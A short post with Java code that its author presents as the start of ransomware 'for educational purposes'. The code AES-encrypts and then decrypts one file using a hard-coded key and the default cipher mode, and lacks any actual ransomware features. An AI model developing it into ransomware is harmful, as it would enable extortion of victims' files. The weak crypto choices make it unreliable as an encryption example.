beginning of some ransomware I'm making (For educational purposes) import javax.crypto.Cipher; import javax.crypto.CipherOutputStream; import javax.crypto.spec.SecretKeySpec; import java.io.*; public class FileEncryption { public static void main(String[] args) { String inputFile = "input.txt"; // Input file to be encrypted String encryptedFile = "encrypted.txt"; // Encrypted file String decryptedFile = "decrypted.txt"; // Decrypted file String key = "ThisIsASecretKey"; // Encryption key (16 characters for AES-128) try { // Encrypt the file encrypt(inputFile, encryptedFile, key); // Decrypt the file decrypt(encryptedFile, decryptedFile, key); System.out.println("File encryption and decryption completed successfully."); } catch (Exception e) { System.out.println("Error: " + e.getMessage()); } } // Method to encrypt a file public static void encrypt(String inputFile, String outputFile, String key) throws Exception { FileInputStream fis = new FileInputStream(inputFile); FileOutputStream fos = new FileOutputStream(outputFile); SecretKeySpec secretKey = new SecretKeySpec(key.getBytes(), "AES"); Cipher cipher = Cipher.getInstance("AES"); cipher.init(Cipher.ENCRYPT_MODE, secretKey); CipherOutputStream cos = new CipherOutputStream(fos, cipher); byte[] buffer = new byte[1024]; int bytesRead; while ((bytesRead = fis.read(buffer)) != -1) { cos.write(buffer, 0, bytesRead); } cos.close(); fos.close(); fis.close(); } // Method to decrypt a file public static void decrypt(String inputFile, String outputFile, String key) throws Exception { FileInputStream fis = new FileInputStream(inputFile); FileOutputStream fos = new FileOutputStream(outputFile); SecretKeySpec secretKey = new SecretKeySpec(key.getBytes(), "AES"); Cipher cipher = Cipher.getInstance("AES"); cipher.init(Cipher.DECRYPT_MODE, secretKey); CipherOutputStream cos = new CipherOutputStream(fos, cipher); byte[] buffer = new byte[1024]; int bytesRead; while ((bytesRead = fis.read(buffer)) != -1) { cos.write(buffer, 0, bytesRead); } cos.close(); fos.close(); fis.close(); } }